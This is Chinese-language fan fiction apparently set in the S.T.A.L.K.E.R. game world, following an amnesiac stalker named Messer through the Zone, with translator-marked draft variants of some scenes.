“算了吧!他又会生气我们白打扰他……”

看来梅塞尔还是低估了自己的体力,虚弱变得无处不在,他脸朝下扑倒在地。一个模糊的梦,更像是回忆和呓语混合体,有力地挤走了现实……

……原子能电站的庞大身躯像黑色巨石(黑石)耸立在灰暗天空的背景下。细节淹没在半明半暗之中。只有这儿那儿能看见凝固了一瞬、似乎在等待什么的人影——那是潜行者。突然,电站的“躯体”被一阵阵颤震动摇,一道火柱从它的内脏射向无动于衷的天空,卷起一团团某种绿色发光的物质。接着,撕裂的电光图案冲向天空,天空则报以大雨,但那雨和整个大风暴现象一样不自然——那是成吨的灰烬,扼杀了色彩多样性的残余……漫过一切、淹没一切的灰色海洋,产生了可怕的灰色波浪——无数老鼠从电站向四面八方逃窜。潜行者四散奔逃,试图射杀它们,老鼠扑向人们,用尖牙咬住他们的右臂……鲜血迅速与尘土混合,失去其令人不安的颜色……老鼠狂热地咬掉潜行者手臂上的纹身。唯一的一个词——“S.T.A.L.K.E.R.”。

其中一个背对着我们的潜行者不停地射击,好像希望以自己微薄的力量把老鼠的波浪逼回去……

突然传来喊声:“史特烈洛克!”

潜行者开始慢慢转身,再过一瞬间就能看清他的脸,但老鼠用自己身体的灰色波浪覆盖了他……梦结束了……

……梅塞尔浑身是汗,又躺了很久一动不动,试图弄清他在哪里、他是谁。第二个问题仍然没有答案……

“好吧,”梅塞尔咬紧牙关,感到嘴里有血的咸味。“现在我们的目标是盒子。趁当兵的躲太阳去了,我们跑一趟,去去就回……只希望在最不合时宜的时刻腿不要掉链子……”

在封锁线上,中尉坐在破旧小屋门廊的摇椅里,微微摇晃着,忧郁地望着北方。一切都让他厌烦透了:服役、愚蠢的下属、蛤蟆和他那些臭烘烘的神器,还有整个特异区。但他知道,自己已经没有回头路。“我要喝个烂醉!今天一定要喝个烂醉!!”中尉咬紧牙关,一颗牙坚持不住,咔嚓一声断了一小块。为此,忧郁变成了浑浊的狂怒,他一定要在下属身上报复回来。中尉恶狠狠地吐了口唾沫,但这并没有带来解脱。


“你的盒子,”梅塞尔把盒子放在桌上,冷漠地转过身去,不想看蛤蟆那油汪汪的得意脸。

“嗯,小子,你真能活,”蛤蟆懒洋洋地挠着腋下。“也许传说不是撒谎,从‘死亡卡车’里三次生还的人会改变这个世界……活着就能看到!对了,你没往里面看吧?”蛤蟆温柔地抚摸着梅塞尔带来的盒子。

“有必要吗?”

“好吧,别生气……现在,也许可以跑到桥那边去,这个会更难,这已经是特异区深处了……那儿应该会出现雪貂,好像他带着战利品从突袭中回来了……不管怎样,他会还债的。别打瞌睡,雪貂是个狡猾的家伙,你一走神,他马上就把你送回找到你的那辆卡车里去。不过这次怕是没人能再把你救回来了……带上这些螺丝螺帽,你大概看到过某些地方上空的雾霾,那里可能有各种东西……但对那些叫引力聚集点的东西,螺帽能保护你。要是感觉到什么,就把螺帽往前扔……”

“我会搞定的,”梅塞尔从桌上抓了一把铁件塞进口袋,猛地转身朝出口走去。


“哪怕让我歇口气也好……外号没起错,蛤蟆!”梅塞尔又沿着公路(现在他知道这条路通向特异区深处)小跑着,但这次是相反方向——深入特异区——向北。

他的训练进展迅速,他很容易融入周围的世界,但记忆与此无关。也许只有肌肉记忆。关于自己他仍然什么也没想起来。

前面有奇怪的雾霾,它无疑令人不安,并再次产生模糊的危险熟悉感,他显然以前很熟悉它以及特异区的其他奇迹……只是暂时忘了。或者对他来说,像印度人那样,是在他的另一世里?

梅塞尔小心地把一个螺帽往前扔,结果超出预期,螺帽急剧改变了飞行轨迹,尖叫着消失在灌木丛中。好吧!显然不能往那边走。看来这片雾霾就是引力聚集点。

又扔了几个螺帽,他轻松标出了异常点的区域并规划了绕行路线。

该死的乌鸦!叫得真响。不,他还能活下去!

不过,如果他以前来过这里,那就意味着他见过什么人,做过什么事。不可能他以前的、被遗忘的迷雾所掩盖的生活没有留下任何痕迹。比如,蛤蟆,他很难被错过,但他以前没见过他……尽管经过他巢穴的人那么多,蛤蟆不可能记得每个人。又不是每个人都是“重生者”。

一片寂静。路边的杨树,像仪仗队(排得太早,我的葬礼暂时推迟了!)。田园诗般的湖泊。只缺美人鱼了。好奇那儿是不是也藏着各种坏东西,还是它们被各种污物浸透成了天然的墓地……

前方又出现了在垃圾堆里搜寻的瞎狗,从远处看更像是猪。梅塞尔试图避免不必要的冲突,拐向湖泊方向。体力还没恢复,身体像一件新做的还没穿开的衣服,这儿突起,那儿微紧……再加上虚弱又一次袭来,还有不可抗拒的躺下睡觉的欲望。

他几乎精疲力竭地勉强走到一间被遗弃的小屋门槛边。他还来得及检查了一下各个房间有没有藏着什么怪物,然后睡眠直接把他击倒了……

他不可能看到,几分钟后,当一切安静下来时,地板上的舱口半开,一双在黑暗中闪烁的眼睛正仔细地盯着他……

……地平线某处闪烁着淡蓝色的光晕,偶尔天空被电光撕裂。一辆卡车慢慢、几乎无声地从山丘上驶下,在坑洼上颠簸……驾驶室空着,车厢里堆满了密封棺材的板条箱。突然天空裂开……电光越来越频繁地劈下,一道击中卡车,汽油燃烧起来,小卡车开始解体。燃烧的碎片和棺材向四面八方飞散,部分棺材破裂,潜行者从里面掉出来……有很“新鲜”的,也有半腐烂的。每具尸体的连体服袖子都卷起一只,手臂上可见纹身,但在火焰不安的光芒中,无法看清上面写着什么。“尸体”复活了,开始在燃烧的狂乱火焰中盲目冲撞,嘶哑地喊着:

“杀死史特烈洛克!杀死史特烈洛克!!杀死史特烈洛克!!!”

显然他们正是在找我。而背叛的睡梦枷锁麻痹了所有肌肉,甚至连喊叫的力气都没有……

……梅塞尔醒来时同样突然,就像掉进梦的流沙中一样。有一会儿他一动不动,害怕在现实中发现自己仍然像梦里一样无法控制身体,但他看到两只老鼠正悄悄接近他。当第一只跳起时,梅塞尔满意地发现,他用刀比预想的好。第二只老鼠立刻对他失去了兴趣,开始吃同伴的尸体……

“她有点面熟,”梅塞尔阴沉地咧嘴笑了,看着窗外:桥近在咫尺。“雪貂已经到了吗?”


桥下是半明半暗,天花板上垂下的生锈“毛发”加剧了昏暗;大概,爬到一头瞬间停住的猛犸象肚子底下,也能看到类似的“景色”。梅塞尔本能地避开可疑的植物,钻到桥下。

“你真的就是那个从死亡卡车里唯一幸存的人吗?”声音近在咫尺,梅塞尔吓了一跳,向旁边跳开,痉挛地握住刀柄,生气地说:

“撒谎,其实我死了!”

“别紧张,我不想伤害你。如果我想杀你,早就可以在你靠近时装作老练的印第安人那时动手了。回头看看;视野多好,却看不见我。如果你这么‘酷’,你自己也能想到。所以,关于卡车是真的?”

“是真的,”梅塞尔小声说着,努力压制恼怒。他本可以想到雪貂早在这儿等着他了。但好在至少现在想到了。这说明尽管失忆,理智还是存在的。

“他们说你想干掉史特烈洛克?”

“我不认识什么史特烈洛克。”

“是啊,哥们儿,你被折腾得够呛,”雪貂走近一步,也避开从上方垂下的毛发;也许他是本能地这么做,或者这玩意儿确实危险。

“史特烈洛克是谁?”梅塞尔漠不关心地问。

“没什么,”雪貂有点泄气,“有过那么一个人,不过我好久没见着他了……咱们最好谈正事。我在这儿已经耽搁了。”

“要是现在干掉他,抢了步枪然后……”梅塞尔向雪貂迈了一步。

“小子,你最好站住别动,”雪貂猜到了梅塞尔的想法,小声说道,“我要不是在特异区每秒钟都保持警惕,一天也活不了。我把背包留下,我们和平分手。我一枪崩了你没什么大不了的,但我想看看这一切会怎样。我对史特烈洛克不在乎!对你也不在乎……向蛤蟆问好!”

雪貂像影子一样滑向出口,消失了。

“也许跟他到那边去?”梅塞尔懒洋洋地想。“不,我太弱了,而且装备太差。”他把背包扛上肩膀,向相反方向滑去。


“你也没往背包里看一眼?”蛤蟆不信任地问。

“没有。”

“你至少猜得到里面是什么吗?”

梅塞尔又想回答“不”,但突然,在他脑海里,像万花筒一样,出现了一系列快速变换的画面。被橙色火焰吞噬的潜行者……奇怪的荧光凝胶,腐蚀着人肉……发光的水银球……巨大的闪亮的黑色大头针……

“那里有神器,”梅塞尔平静地说。


“你还没想起你叫什么,史特烈洛克是谁?”蛤蟆从储藏室拿出一卷长长的东西,里面不难猜出是把步枪。

“没有。”

“又是怎么进了‘死亡卡车’?”

“没有。”

“好吧,上帝保佑你!我还有另一个任务给你……”

“你不怕我……把你……”

“不怕。我需要你们,没了我你们既看不到食物,也看不到弹药和药品。如果你有胆子崩了我,你会在每个土丘后面,每棵树后面面临死亡!”蛤蟆故意背对着梅塞尔,开始摆弄他那些无数的锅碗瓢盆。

梅塞尔苦笑了一下。他对蛤蟆没有任何感觉,但意识到商人是对的——在这里他对很多人都有用:潜行者、士兵,甚至可能特异区本身。


最后一个任务!在地图上标出从封锁线到铁路的所有异常点。原则上这活儿容易,他已经搜索过这片区域,只剩下公路右侧的那个有瞎狗出没的农场了。但那之后呢?试图穿过封锁线?恐怕不行。梅塞尔清楚地想象了试图射击封锁线上的瞭望塔时警报响起,士兵开火拦截,呼叫直升机……不,穿过封锁线的路行不通。而且封锁线外面有什么在等着他?他完全无法想象封锁线外是什么,但不知为何他内心没有想去那里的冲动。而在这里,除了蛤蟆,没有特别之处。因此,路在更深入特异区,向北。也许在那里,类似的情况下,记忆会苏醒……然后呢?走着瞧!


又是杨树夹道的宁静小路。和被遗弃的农场……

这次有两只狗。它们盲目的脸像风向标一样转向人类。第一只狗出其不意地跳了起来。刚才它还在草丛里执着地嗅来嗅去,突然像狼一样整个身体转过来,嚎叫着跳了起来!梅塞尔的步枪(蛤蟆给他的)沉闷地回击,把狗的尸体猛地甩向栅栏。第二只狗恶狠狠地咆哮着,转动着钝鼻子头,好像独自一人并不完全清楚敌人在哪。梅塞尔没有给狗机会准确判断危险来自何方。但手臂显然还不够强壮。一声枪响。狗嚎叫起来,开始打转,然后突然用巨大的跳跃直扑向梅塞尔。

梅塞尔一时不知所措,但房屋那边闪了一下光,接着传来了枪声。狗的前腿在落地时弯曲,它翻了个跟头,停在扬起的灰尘云中。

一个潜行者从房子里走出来。他又高又瘦,穿着奇怪的淡绿色连体服,胸前挂着一个防毒面具。手里拿着一把带光学瞄准镜的步枪。

“听说你是在死亡卡车的死人堆里被发现的?你要史特烈洛克干什么?”

“你是史特烈洛克?”梅塞尔阴沉地问。没有恐惧,刚刚救了他一命的人不太可能只是为了立刻夺走它。

“你和史特烈洛克有什么过节?”潜行者不回答问题,继续坚持自己的说法。“有传言说史特烈洛克把你们整个小队都干掉了。你真的不记得自己属于哪个小队了吗?”

“你又属于哪个小队?”梅塞尔也不甘示弱。

“我们的对话不错,很有信息量!全是问题。”

“怎么,你也失忆了?”梅塞尔咧嘴笑了。

“好吧,小伙子,我想我们还会再见面的——特异区虽大,但潜行者的路总是通向神器。”

“你还没告诉我你的名字,该谢谁打死那只狗呢?”

“感谢特异区吧,我叫独狼。再见!别去农场,废墟里某处藏着个吵闹鬼。还有无数的老鼠,”潜行者宽容地笑了笑,有节奏地小跑着朝蛤蟆的巢穴方向去了。

吵闹鬼?!不,梅塞尔不记得那是什么东西。虽然这次他没有感到特别虚弱,但到了独狼走出的房子,他决定休息一下。

这次梦久久不来,而当它来临时,又不完全清楚这是梦还是回忆……

……在某个省城空旷的街道上,两个人手牵手走着——一个成年男人和一个孩子。非常想超过他们看看脸,但像梦里常有的那样,粘稠的空气和奇怪流动的时间不让我们这么做。孩子抬起头——现在可以看到他的侧脸——问:“大家真叫你史特烈洛克吗?”成年人来不及回答——大风暴开始了。孩子的脸扭曲变形,变成侏儒怪物的脸,他发出可怕的笑声跑开了。而街道上再次开始滚动由迁徙老鼠群形成的灰色波浪……

……梅塞尔醒了。从背包里拿出罐头,开始漠然地嚼。他的梦里有一个系统,一种潜在的逻辑,只是他无论如何也捕捉不到。


那些仍适合居住的小房子被彻底洗劫过:破碎的窗户,这儿那儿半腐烂的家畜遗骸,脚下的碎玻璃。厚颜无耻的肥老鼠四处乱窜,成群巨大的黑苍蝇(更像肥大的熊蜂)飞来飞去。

前面稍偏左,草有一种奇怪的色调;大概那里是引力异常点。应该往那儿扔个垫圈。

梅塞尔估摸着扔铁件的位置,但没来得及扔,一记重击打在脑后,使他跪倒在地。又一块石头从他头上呼啸而过,擦过头顶。梅塞尔突然感到有什么东西在他的……思想里蠕动。像冰冷滑腻的手指,轻轻触碰着裸露的大脑表面,试探着它的强度。梅塞尔试图躲到最近的树后;他在一栋房子的门口看到的东西像是胡话。一个凝胶状的半透明生物,隐约像人,用扭曲的四肢做着奇怪的动作,以某种方式把地上的小物体抬起来,朝梅塞尔的方向扔。

“啊,你这小混蛋!”梅塞尔没有恶意地想。他不是猜到,而是知道(这知识来自至今仍被黑暗牢牢隐藏的过去深处),这个用念动力乱扔各种垃圾的小怪物就是吵闹鬼。梅塞尔瞄准时机,朝吵闹鬼扔了一个螺帽。怪物尖叫一声(梅塞尔不是用耳朵,而是用意识感知到那声尖叫),迅速撤退了。

梅塞尔等了几秒钟,然后猛地冲过距离,进入吵闹鬼消失的门口,跳进黑暗,举着拿刀的胳膊。

“从外面看我肯定像个十足的傻瓜,”梅塞尔想着,本能地在黑暗中用半明半暗里微微闪光的刀刺去。当眼睛适应了昏暗,梅塞尔确信屋里没人——显然吵闹鬼已经通过破窗溜走了。

“但看起来像个傻瓜总比当死人好,”梅塞尔小心地看了看其他房间——没人。


在剩下的这次小型探险时间里,他再也没有遇到什么特别的事。他在地图上标出了6个异常点。确实,有个地方的路通向一个峡谷,那里的植被奇怪地扭曲,峡谷上空有乌鸦盘旋。周围有很多苍蝇,它们形成奇怪的嗡嗡旋转的龙卷风状。梅塞尔没能确定那里是否有异常点,但用皮肤感觉到最好别去那儿。

还有!他忍不住跑到了据说发现他的地方。烧毁的破卡车。没有一个死人。而且感觉场地好像被扫过了。梅塞尔顺着卡车的痕迹走,但在路堤附近痕迹完全消失了。可能会以为卡车是无中生有,开向乌有。


“好吧……上次大风暴后新增了两个异常点。而且吵闹鬼以前好像也不来这儿。特异区在扩大。如果继续这样,封锁线很快会被迫后撤,我也得搬家了……”

“你说这是最后一个任务?现在我们两清了?”梅塞尔不听蛤蟆的小声说,生硬地问。

蛤蟆抬起锐利的目光看着他:
“怎么,等不及要把脑袋塞进魔鬼的屁股里了?”

“我的脑袋,想塞哪儿就塞哪儿!”

“好吧。想去就去!我给你一套最小装备,走吧,走哪是哪。但在特异区也需要钱……有个藏匿点,不过在铁路那边,光着身子最好别去。要是从那儿弄来‘战利品’——我不会亏待你的。然后就可以再往深处走了,如果你这么急。但你会弄来的吧?我看你是个诚实的小伙子。我会付你一大笔钱……”

“他干嘛这么绕圈子,”梅塞尔懒洋洋地想,“那里肯定有陷阱!去他的陷阱,他答应的钱好像不少……不过拿着他的钱能去哪儿呢……好吧,走着瞧……”

“只是你得和豺狼取得联系,”蛤蟆继续小声说,“他知道藏匿点在哪……是伶俐狐留下的……遗产什么的……你一穿过铁路路堤就联系,但别太久,否则当兵的会侦测到,或者更糟,被‘黑暗潜行者’发现,那你就活到头了……”


又是白杨成排的小路,如此熟悉,仿佛他不仅不久前,而且很久很久以前,也许甚至……在上一世就来过这里……

现在梅塞尔行动自信,装备精良。全新的带光学瞄准镜步枪、异常点探测器、三天的食物储备。最重要的是——经验!梅塞尔甚至有点感激蛤蟆,试跑虽然没能唤醒抽象记忆,但肌肉记忆显然恢复了。

尽量不偏离方向,梅塞尔沿着公路小跑。他不太依赖经验,更多听从直觉。通过淡淡的雾霭或乌鸦顽固地不愿飞过某个特定地方,他猜出那里有异常点。通过成群的苍蝇,他知道有死尸。他猜测自己关于特异区的知识还处于萌芽状态,他还会有不止一次地遇到正常人即使在噩梦里也梦不到的东西。但在显然与缓慢康复相关的冷漠之后,他突然苏醒了对生命的渴望,并被模糊的回忆所鞭策——他以前曾不止一次地死去,然后重生。现在他并不介意知道是为了什么。


到达铁路路堤时,梅塞尔吸取了雪貂给的教训,在灌木丛中躲了一会儿,通过光学瞄准镜仔细研究周围环境。

等到巡逻直升机飞过路堤消失在远方,梅塞尔冲向前去。

过分的自信害了他——翻过路脊时,他滑倒了,滚了下去。

在路堤的另一边有一个被遗弃的农场。梅塞尔还没来得及站起来,就被吵闹鬼袭击了。石头、死老鼠、生锈的铁件,还有其他一些恶心、粘稠、发臭的东西——所有这些玩意儿,吵闹鬼都瞄着他的头扔,不让他有机会定向和使用武器。梅塞尔放了几枪,更像是吓唬,试图弄清引导这股垃圾流的能量源在哪里。然后一切立刻停止了——显然吵闹鬼选择了不招惹,溜走了。

赶走老鼠,梅塞尔走进最近的房子。离联系还有时间,可以休息一下。他坐在角落里,以便同时能看见窗户和门。

……又一次,原子能电站的庞大身躯像黑色巨石耸立在灰暗天空的背景下。又一次,电站的“躯体”被一阵阵宇宙痛苦与恐惧的震颤摇动。一道火柱从它的内脏射向无动于衷的天空,卷起一团团某种绿色发光的物质。还有成吨的灰烬,扼杀了色彩多样性的残余……淹没一切的灰色海洋,产生了可怕的灰色波浪——无数人向四面八方逃离电站。驼背、可怕、衣衫褴褛、面目狰狞的人……一个孤独的人,双臂十字形展开,试图阻止疯狂的人群。但一声枪响,那人倒下,人们继续奔跑,把伸展的身体踩进泥里……

……僵尸。这个词是从哪来的?梅塞尔惊讶地看着自己的个人电脑。现在里面有了两条记录:“杀死史特烈洛克!”和“僵尸”。难道他如此无法控制自己的意识,以至于在睡梦中做了这个记录?也许他自己就是僵尸?但没有时间思考了——该联系了。


“你就是那个找史特烈洛克的小子?”

这个问题已经开始让梅塞尔恼火了。

“我越来越觉得,我周围所有人知道的都不比我多,”他勉强抑制住恼怒回答。通讯很好,他听豺狼就像在隔壁房间。

“特异区是个神秘的东西……也许你是对的,”看不见的对话者平静地说。“我们中最聪明的人也只明白,他们其实什么都不知道。”

“蛤蟆说你会告诉我藏匿点在哪。”

“藏匿点取消。小子,你得赶紧跑路。”

“什么时候、对谁、该干嘛由我决定。如果你想私吞藏匿点……”

“自从你出现在我们这一带,我们这个本就不稳定的世界里发生了一些完全不可预测的变化……”

“我,一个不记得你们这个不稳定世界细节的人,这与我不相干。”

“你错了,这首先与你相关!”

“由我决定。”

“早就有人为你决定了一切。昨天又来了一辆死亡卡车,里面又有一个幸存的潜行者。甚至据说不止一个。他们都在找你!”

“我才不在乎。”

“别傻了!他们找你,是为了杀你。”

“那还得看谁杀谁。而且凭什么……”

“别傻了。难道你不想知道自己是谁,你忘了什么吗?”

梅塞尔正准备再次尖锐回答,却愣住了。豺狼知道该往哪儿打。

“你可以联系蛤蟆警告他,”豺狼继续谄媚地说,“反正卡车里那帮人已经定位了你。而我建议你去车库看看,它在公路深处……快去吧,那些找你的人不是人,他们是僵尸,被编程来消灭你的。还有最后一点……小心点。有些潜行者对你寄予厚望,而其余的人……害怕你。尤其是黑暗潜行者-杀手。而“伟大的克里”的孩子们既恨你又怕你。他们知道些关于你的事……”

“你怎么这么好心?”梅塞尔不信任地问,盘算着豺狼是否想把他诱入陷阱。“克里”和“黑暗潜行者”没引起任何联想。

“我说过,有些潜行者……总之,有一个传说,三度复活的人能到达特异区的心脏,而你在死亡卡车里幸存了……”

“那些跟着我的人呢?”梅塞尔问,虽然内心已经为自己做了一切决定。

“他们不是人。”

“我为什么要相信你?”

“你可以信或不信。你有选择。”

“我……”梅塞尔张嘴,但目光落在窗框上残余的布满灰尘的玻璃上。玻璃上有人用手指清晰地写了两个词:“史特烈洛克”和“车库”。“……同意,”梅塞尔嘶哑地挤出声音,更紧地握住了步枪。


而此时,一个访客来到了蛤蟆的巢穴。他从头到脚裹着防水布斗篷,风帽拉得很低,遮住了大部分脸。访客移动得很奇怪,好像害怕不小心毁掉路上的一切。

“他在哪?”声音听起来很闷,但完全是人的声音。

“谁?”蛤蟆眯起眼睛。

“你玩火吗?”访客没有提高丝毫音调,但蛤蟆立刻蔫了,蜷缩起来:

“他走了。”

“小心点。”

“我算什么……我是个小人物……”蛤蟆谄媚起来,“吩咐我做什么我就做什么……只是我不明白,你们要他做什么?”

“你不必明白!不是让你在这儿待着的。”

“是!”蛤蟆突然脚跟一碰,谄媚地咧嘴笑了。

“你在讽刺?”

“绝没有!”

“那好吧,小心点……”访客猛地转身离开了。

蛤蟆用奉承的目光送他离开,然后他的脸突然露出得意的笑容:

“我干嘛要小心?我已经看到了很多别人做梦都想不到的东西。而过度的知识,众所周知,只会加重消化负担,”蛤蟆温柔地抚摸着他众多的小砂锅之一。


3. 第1层 选项 (译者注:这一部分可能是上面文字的草稿)

选项2

“我该付你多少?”

“从你身上能拿什么呢……再说你什么也记不清:你是谁,你在哪……而周围,孩子,是特异区!”

“我不是孩子,也不是你的!”

“还是我的——直到你还清:食物、药品,还得武装你……至少开始……”

“你能给我什么武器?”

“一开始凑合着用刀吧。我还会给你一件斗篷,它防不了辐射,但对酸性物质和老鼠牙有用……至于孩子——特异区会评判的!……外号‘史特烈洛克’对你意味着什么吗?”

“不。”

“那好吧。一开始跑到封锁线去……送一个密封的小金属盒,放在铁丝网下面,地图上标了位置,从那儿取回另一个……别在当兵的眼皮底下晃悠,他们一定会考验你的皮实程度……怎么样,同意吗?”

“我有选择吗?”

“大概没有……”

“那就把你的盒子给我,结束这些心理治疗式的谈话吧……”

“我还有一个问题……”

“嗯?!”

“我怎么称呼你,潜行者很多……”

“好吧,既然你除了刀,给不了我更好的东西,就叫我梅塞尔吧。”


“去他的多愁善感!从零开始生活吧,”梅塞尔回头看了看蛤蟆巢穴的门,赌气朝自己脚下吐了口唾沫,把箱子推到一边,跑了起来。

腿不听使唤——显然他还没恢复状态。而且他以前有过什么状态吗……

“见鬼,头晕……航向右前方有奇怪的雾霾……或者只是我觉得有……景色几乎田园诗般的,只是看不到人……还有一些动物在废墟中潜行……像牛头梗,但好像是……瞎的……它们是不是感觉到了我……你看,警觉了……把脸转向了我这边……”

第一只狗出其不意地跳了起来。

刚才它还在草丛里执着地嗅来嗅去,突然像狼一样整个身体转过来,嚎叫着跳了起来……


选项3

“……周围,孩子,是特异区!”

“我不是孩子,也不是你的!”

“还是我的……一开始跑到封锁线去……”

……梅塞尔回头看了看蛤蟆巢穴的门,赌气朝自己脚下吐了口唾沫,把箱子推到一边,跑了起来。

腿不听使唤——显然他还没恢复状态。

……封锁线到了……

他听到了零星的对话:

“瓦西卡,检查一下那边那片灌木!短点射!”

“要不要向中尉报告?”

“算了吧!他又会生气我们白打扰他……或者一犯蠢就给我们讲什么伟大的维和使命……”

“他生气倒好过我们落得像军士长一样的下场!”

“见鬼,叫吧!我先把那片灌木置于瞄准之下。”

“看来被发现了,”梅塞尔漠不关心地想。他完全分不清这是做梦还是真实。

只有一个办法能最终搞清楚。梅塞尔向前迈了一步,灌木丛沙沙作响,当兵的像被蛰了似的跳起来喊道:

“站住!我要开枪了!!!”接着就是一梭子长点射。

子弹咯吱咯吱地咬进肉体。梅塞尔冷漠地看着自己胸前慢慢绽开鲜红的“玫瑰”。他惯性般又走了两步,然后脸朝下扑倒在草丛里。透过涌来的遗忘之幕,他听到对话的片段:

“他从灌木丛里朝我冲过来……典型的僵尸……”

“别抖成这样……”

“中尉会不高兴的……”

“去他的……也许这样更好……”

然后一切都淹没在黑暗中……


4. 第2层。最初的信息

这是一个梦,又不全是梦。梅塞尔仿佛又活过了一段时间。甚至不止一次。唯一的思想像受惊的鸟在他脑中扑腾:“生活是游戏!”。梅塞尔苦笑一下:有趣,那游戏是生活吗?为什么他突然开始考虑这些平庸的真理?

不管怎样,也许他接了蛤蟆的小任务还是做对了。现在他装备齐全,并且有一些初步经验,可以尝试弄清楚正在发生的事情。至少不会在最初几步就死掉,至于别的……就看特异区允不允许了,加上个人的灵活性和肌肉记忆。

“他们说跑步能延长寿命。撒谎!我已经在特异区转了多少天了。随着每一米深入它的腹地,我感到那臭名昭著的拿镰刀的老太婆在我背后呼吸得越来越紧张。她肯定会说,不管这辈子怎么跑,她早就在终点等着了。”

梅塞尔跑着摇了摇头,想驱散越来越频繁地潜入他那仍然半空的头脑的忧郁想法。

他在某种程度上甚至对自己也不诚实。在这段时间里,梅塞尔不仅身体变强壮了,还吸收了大量有用的信息。

例如,关于特异区的习惯、它的喜好、宠儿和弃儿。特异区有自己的性格——多变但可预测。也许它完全漠不关心,其他一切只是其居民为证明自己无助而产生的幻觉。

然而,特异区里聚集了多得惊人的人。有封锁线上的士兵,他们部分依赖于与他们持续进行实物交换的商人。有各种寻找刺激或生命意义的疯子。像任何社会一样,这里所有的人都通过特定的关系相互联系。有人恨某人,有人依赖某人,有人崇拜某人,尽管大多数时候这一切都是同时发生的。

特异区在这整个混乱中加入了它自己独特的、尖锐而神秘的调味料,把这里的生活变成一连串模糊的幻象和幻觉,破坏关于时间和空间、关于因果关系交替的惯常观念,有时甚至完全否定常识的概念。

可以为乍看奇怪的物理现象找到解释,可以尝试对它们进行分类并以某种方式解释。但如何解释形而上学的现象呢?

例如,有人说他们见过所谓的“僵尸潜行者”。完全不清楚:是某种辐射引起的幻觉(但那样的话,又是谁伤害了见到幻觉的那个人?),还是真的是某个过于顽强的死人(但那样的话,他怎么能进入从里面锁住的地堡?为什么他总是要出现时就开始下雨?为什么与他冲突后,每个人都会开始对存在的真实性产生可怕的怀疑?)。还有“消失的尸体”?还有“黑暗中跳舞的人”?还有“山湖”?还有……谁知道呢!特异区的生活沸腾着,被涂上如此色彩,有时让人目瞪口呆。

但最奇怪的是,这并没有让任何人感到惊讶!恐惧是恐惧,但所有事件和现象都被视为理所当然,没人对盛行的荒谬感到愤怒。而且似乎没有人猜到,存在着另一种不同于这里的生活。相反,这里的生活被神话所包围,在意识中扎下深根,产生新的信仰、概念和解释。但这被推到次要位置,而当地的生活方式则大胆地占据了首位,存在决定意识。所有人都像疯了似的在特异区里狂奔,时刻冒着成为下一个现象的风险,为了什么?为了得到并……藏好、获取并出售!什么都被卖,从食物和在特异区搞到的某些文件,到自己的器官和整个生命。

这种狂暴的活动使记忆以一种特殊的方式工作。需要记住的金融操作太多了!各团体对神器的报价、个别文件的价值,以及更世俗的东西:食物、弹药……直到移植物的价目表,其平淡令人恐惧。所有这些表面上看次要的信息,仿佛把关于在特异区生存的意义、关于特异区本身存在的意义的问题挤到了边缘。甚至提到特异区之外的生活也……

梅塞尔重新学习使用自己的便携电脑,与个别潜行者保持联系。他甚至参加了一次对杀手潜行者(译注:即 killer,但实际指代应该是雇佣杀手或者佣兵潜行者,而不是某个杀人魔)的围捕,那家伙在被赶进半毁的村庄像疯狗一样被击毙之前,已经干掉了七个人。梅塞尔对那个小伙子没有仇恨,他的尸体被留给了狗。任何人都可能在他那个位置,只是环境使然。或者也许是特异区想要这样。

梅塞尔自己也很好学,任何沙沙声首先是危险。还有每个不熟悉的物体、每个熟悉但看起来奇怪的物体、看起来正常但功能异常的物体……等等,列表和神器报价表一样长。而且再次模糊地怀疑,部分技能他只是……回忆起来了。

到目前为止,最亮的亮点是与“纪律团”的相识。团伙头子善意地接待了梅塞尔。位于废物堆放场中心的掩体陈设简陋。墙上没有任何裸女画,只有一张周围地区的地图,上面有标记异常点临时位置和假想的变种巢穴的小旗。看守犬(已经领导该团伙三个季度)是个冷静而自信的人。他清晰地阐明了团伙的目标:“我们是屏障,没有一个变种、一张纸、一个物件应该溜进外部世界。特异区产生了它们,它们也将埋葬在这里!”

唯一引起模糊不安的是团伙成员对僵尸的态度。如果那些不幸的人不先攻击,梅塞尔宁愿不去碰他们。还有一丝狂热。不知何故,一种痛苦熟悉的气味在附近飘荡——这太像军队了……只是他从哪里知道军队“气味”呢?难道他以前和军队有关?……

还有另一个细微差别,梅塞尔努力不去想:钱。该团伙只负责消灭特异区的现象,完全不交易神器。钱从哪来?仅仅靠清理发财是不可能的。谁在资助该团伙?

奇怪的是,梅塞尔对“外部世界”存在的想法完全不感兴趣;好像这个概念与某种精神创伤有关,意识断然拒绝专注于任何可能与此问题有关的事情。

当然,你可以彻底放弃一切,尝试做一个独行潜行者,但目前梅塞尔对自己的处境还算满意。

他想起在车库(译者注:有可能是豺狼提到的车库)里找到的东西。那里有一个军方潜行者的营地。是曾经有!因为他们都死了,但无法确定死因。唯一查明的是他们的任务——他们显然在追踪潜行者团伙并系统地消灭它们。但是,智者千虑必有一失。顺便说一句,他们知道“纪律团”,但不知为何没有将其列入待消灭团伙名单,尽管在他从一个“英年早逝”的团伙成员身上发现的地图上,该地点标了一个叉。顺便说一句,在农业研究所区域也有一个类似的叉。


“散开成散兵线!”

命令鞭策了梅塞尔,他加快了脚步,解开了步枪的保险。马上就要开始了!根据情报,瞎狗的巢穴应该在前面的那个洼地里……


“感觉怎么样,新手?”看守犬在掩体门口迎接从突袭中回来的潜行者。

“他棒极了!”乌鸦眼替梅塞尔回答。乌鸦眼是个皮肤黝黑、动作敏捷的潜行者,梅塞尔不太喜欢他。他太经常出现在附近了。感觉好像在监视梅塞尔。“而且他不是新手!你应该看看他多利索地干掉了头狗……”

“是啊,”看守犬若有所思地小声说,“他当然不是新手。”然后特别专注地看了梅塞尔一眼。“进来,有话要谈。”

“有趣,他自己不觉得自己的外号刺耳吗?或者他不觉得有什么共同点,和我们刚干掉的那些狗?”梅塞尔跟着团伙头子走进掩体。

看守犬首先走向地图,取下一面小旗。自欺欺人!下个季度,也就是下次大风暴之后,又得插上两三面新旗。

“我叫你来是为了……”

“别拖了!”

“……总之……”

梅塞尔第一次见看守犬如此尴尬。他终于鼓起勇气脱口而出:

“总之,你必须离开!”

“为什么?”

“你是个非常暧昧的人物,许多潜行者相信你已经走过了一整条路,而你知道当地的传说……‘唯有三度复活者……’”

“我知道。”

“你太引起对们的注意了。连杀手团都活跃起来了,还有那些一辈子从特异区深处走出来的僵尸,现在开始出现在我们后方。”

“这跟我有什么关系?”(“可士兵们为什么没动你们!或者没动?现在——就因为我?”)

“他们在找你。我当然会给你异常点探测器和全新步枪弹药,还有够三天的浓缩食品。”

“谢谢。”

“别生气,你有自己的路……”

